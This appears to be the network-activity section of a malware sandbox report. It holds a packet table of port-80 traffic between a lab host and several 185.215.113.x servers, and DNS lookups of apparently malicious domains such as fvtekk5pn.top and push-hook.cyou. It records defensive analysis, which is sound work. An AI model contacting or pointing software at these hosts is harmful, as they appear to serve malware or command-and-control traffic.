Nov 24, 2024 14:24:43.019277096 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.019387960 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.019448996 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.020216942 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.020267010 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.020272017 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.020315886 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.021115065 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.021163940 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.021226883 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.021274090 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.022058964 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.022108078 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.022171021 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.022217989 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.022996902 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.023032904 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.023056030 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.023081064 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.023947954 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.023997068 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.024449110 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.024499893 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.024869919 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.024904013 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.024920940 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.024946928 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.025733948 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.025780916 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.025897980 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.025943041 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.026652098 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.026700020 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.026705980 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.026757956 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.027575970 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.027695894 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.027745008 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.028496027 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.028544903 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.028614044 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.028662920 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.029429913 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.029479027 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.029525995 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.029575109 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.030338049 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.030390024 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.030451059 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.030503988 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.031382084 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.031594992 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.031647921 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.032175064 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.032228947 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.032291889 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.032334089 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.033119917 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.033175945 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.033252954 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.033303976 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.034019947 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.034065962 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.034146070 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.034193993 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.034956932 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.035006046 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.035068989 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.035852909 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.035902977 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.035959959 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.036009073 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.198709965 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.198821068 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.198949099 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.199132919 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.199189901 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.199220896 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.199273109 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.200027943 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.200087070 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.200150013 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.200200081 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.200933933 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.200983047 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.200989008 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.201034069 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.201883078 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.201934099 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.201996088 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.202045918 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.202802896 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.202852964 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.202928066 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.202976942 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.203752995 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.203953981 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.203957081 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.204010010 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.204663038 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.204757929 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.204797029 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.204853058 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.205566883 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.205619097 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.205763102 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.205831051 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.206475973 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.206531048 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.206569910 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.206614017 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.207444906 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.207503080 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.207511902 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.207557917 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.208306074 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.208367109 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.208427906 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.208477020 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.209214926 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.209268093 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.209343910 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.209387064 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.210165977 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.210222006 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.210278034 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.210329056 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.211067915 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.211117029 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.211178064 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.211227894 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.212008953 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.212063074 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.212138891 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.212192059 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.212910891 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.212964058 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.213040113 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.213093996 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.213866949 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.213921070 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.213982105 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.214032888 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.214829922 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.214879036 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.214931965 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.214982033 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.215683937 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.215735912 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.215827942 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.215873957 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.216635942 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.216687918 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.216742039 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.216792107 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.217571020 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.217607975 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.217622042 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.217653990 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.218449116 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.218580008 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.218632936 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.219379902 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.219521046 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.219584942 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.220407963 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.220469952 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.220545053 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.220598936 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.221271038 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.221330881 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.221483946 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.221534014 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.222280979 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.222331047 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.222421885 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.222470999 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.223256111 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.223308086 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.223406076 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.223881006 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.224001884 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.224055052 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:45.322698116 CET	49855	80	192.168.2.4	185.215.113.206
Nov 24, 2024 14:24:45.442178011 CET	80	49855	185.215.113.206	192.168.2.4
Nov 24, 2024 14:24:45.442279100 CET	49855	80	192.168.2.4	185.215.113.206
Nov 24, 2024 14:24:45.442436934 CET	49855	80	192.168.2.4	185.215.113.206
Nov 24, 2024 14:24:45.486958027 CET	49832	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:45.487184048 CET	49857	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:45.562060118 CET	80	49855	185.215.113.206	192.168.2.4
Nov 24, 2024 14:24:45.606720924 CET	80	49857	185.215.113.43	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 24, 2024 14:24:14.378830910 CET	192.168.2.4	1.1.1.1	0xbf68	Standard query (0)	push-hook.cyou	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:24:27.830038071 CET	192.168.2.4	1.1.1.1	0x3067	Standard query (0)	home.fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:24:27.830172062 CET	192.168.2.4	1.1.1.1	0x15b2	Standard query (0)	home.fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 14:24:36.814723969 CET	192.168.2.4	1.1.1.1	0xedf0	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:24:54.071300983 CET	192.168.2.4	1.1.1.1	0xeeb8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:24:54.071489096 CET	192.168.2.4	1.1.1.1	0x5d95	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 24, 2024 14:24:59.635432959 CET	192.168.2.4	1.1.1.1	0x4a98	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:24:59.774262905 CET	192.168.2.4	1.1.1.1	0x1c74	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 14:25:01.022794962 CET	192.168.2.4	1.1.1.1	0x209b	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:01.165322065 CET	192.168.2.4	1.1.1.1	0x933c	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:01.308182001 CET	192.168.2.4	1.1.1.1	0x445e	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 14:25:16.332169056 CET	192.168.2.4	1.1.1.1	0x9230	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 14:25:17.300813913 CET	192.168.2.4	1.1.1.1	0xe899	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:19.317030907 CET	192.168.2.4	1.1.1.1	0x285d	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:32.819408894 CET	192.168.2.4	1.1.1.1	0xc27e	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:32.819497108 CET	192.168.2.4	1.1.1.1	0xdc5	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 14:25:32.819673061 CET	192.168.2.4	1.1.1.1	0xc27e	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:33.159343958 CET	192.168.2.4	1.1.1.1	0x4dc7	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:33.159404039 CET	192.168.2.4	1.1.1.1	0x449a	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 14:25:33.159518003 CET	192.168.2.4	1.1.1.1	0x4dc7	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:33.159914017 CET	192.168.2.4	1.1.1.1	0x449a	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 14:25:33.159981966 CET	192.168.2.4	1.1.1.1	0x4dc7	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:33.160336018 CET	192.168.2.4	1.1.1.1	0x449a	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 14:25:33.196769953 CET	192.168.2.4	1.1.1.1	0x9361	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:33.196846962 CET	192.168.2.4	1.1.1.1	0x76e4	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 14:25:33.196980953 CET	192.168.2.4	1.1.1.1	0x9361	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:33.197021961 CET	192.168.2.4	1.1.1.1	0x76e4	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 14:25:33.197360039 CET	192.168.2.4	1.1.1.1	0x76e4	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 14:25:33.197436094 CET	192.168.2.4	1.1.1.1	0x9361	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:33.235658884 CET	192.168.2.4	1.1.1.1	0xc98a	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:33.235733032 CET	192.168.2.4	1.1.1.1	0xe306	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 14:25:33.235901117 CET	192.168.2.4	1.1.1.1	0xc98a	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:33.236236095 CET	192.168.2.4	1.1.1.1	0xe306	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 14:25:33.236320019 CET	192.168.2.4	1.1.1.1	0xc98a	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:33.236680031 CET	192.168.2.4	1.1.1.1	0xe306	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 14:25:33.279864073 CET	192.168.2.4	1.1.1.1	0xe585	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:33.279957056 CET	192.168.2.4	1.1.1.1	0x1d18	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 14:25:33.280101061 CET	192.168.2.4	1.1.1.1	0xe585	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:33.280164957 CET	192.168.2.4	1.1.1.1	0x1d18	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 14:25:33.280498028 CET	192.168.2.4	1.1.1.1	0xe585	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:33.280563116 CET	192.168.2.4	1.1.1.1	0x1d18	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 14:25:36.568835020 CET	192.168.2.4	1.1.1.1	0x2a2	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:36.568952084 CET	192.168.2.4	1.1.1.1	0x8e58	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 14:25:36.569034100 CET	192.168.2.4	1.1.1.1	0x2a2	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:36.760473013 CET	192.168.2.4	1.1.1.1	0x50b3	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:42.812794924 CET	192.168.2.4	1.1.1.1	0x59ec	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:42.812910080 CET	192.168.2.4	1.1.1.1	0xa28e	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 24, 2024 14:25:45.104921103 CET	192.168.2.4	1.1.1.1	0x9782	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:45.105041981 CET	192.168.2.4	1.1.1.1	0xe86b	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 24, 2024 14:26:02.799390078 CET	192.168.2.4	1.1.1.1	0x2bac	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:02.799628019 CET	192.168.2.4	1.1.1.1	0xe9e2	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 14:26:02.799781084 CET	192.168.2.4	1.1.1.1	0x2bac	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:02.800515890 CET	192.168.2.4	1.1.1.1	0xe9e2	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 14:26:02.800575972 CET	192.168.2.4	1.1.1.1	0x2bac	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:02.971008062 CET	192.168.2.4	1.1.1.1	0x6225	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:02.971205950 CET	192.168.2.4	1.1.1.1	0x6225	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:02.971537113 CET	192.168.2.4	1.1.1.1	0x6225	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:03.014276028 CET	192.168.2.4	1.1.1.1	0x7f8e	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:03.014345884 CET	192.168.2.4	1.1.1.1	0x5144	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 14:26:03.014467955 CET	192.168.2.4	1.1.1.1	0x7f8e	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:03.014580011 CET	192.168.2.4	1.1.1.1	0x5144	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 14:26:03.014900923 CET	192.168.2.4	1.1.1.1	0x5144	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 14:26:03.015011072 CET	192.168.2.4	1.1.1.1	0x7f8e	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:03.055243969 CET	192.168.2.4	1.1.1.1	0xfba	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:03.055332899 CET	192.168.2.4	1.1.1.1	0xc933	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 14:26:03.233114004 CET	192.168.2.4	1.1.1.1	0xda9a	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:03.233534098 CET	192.168.2.4	1.1.1.1	0xda9a	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:03.233891964 CET	192.168.2.4	1.1.1.1	0xda9a	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:16.963202000 CET	192.168.2.4	1.1.1.1	0x6a6d	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:21.014273882 CET	192.168.2.4	1.1.1.1	0x29b0	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:27:20.188177109 CET	192.168.2.4	1.1.1.1	0xb5d4	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:28:13.558443069 CET	192.168.2.4	1.1.1.1	0x8a18	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:28:41.936688900 CET	192.168.2.4	1.1.1.1	0xc251	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:28:42.076303959 CET	192.168.2.4	1.1.1.1	0xad6e	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 14:28:56.799932003 CET	192.168.2.4	1.1.1.1	0x10ec	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:28:56.992316008 CET	192.168.2.4	1.1.1.1	0x10ec	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:28:57.061386108 CET	192.168.2.4	1.1.1.1	0x6e9f	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 14:28:58.306001902 CET	192.168.2.4	1.1.1.1	0x74d2	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:29:12.609908104 CET	192.168.2.4	1.1.1.1	0x8b53	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:29:12.610016108 CET	192.168.2.4	1.1.1.1	0xfbcd	Standard query (0)	www.google.com	65	IN (0x0001)	false
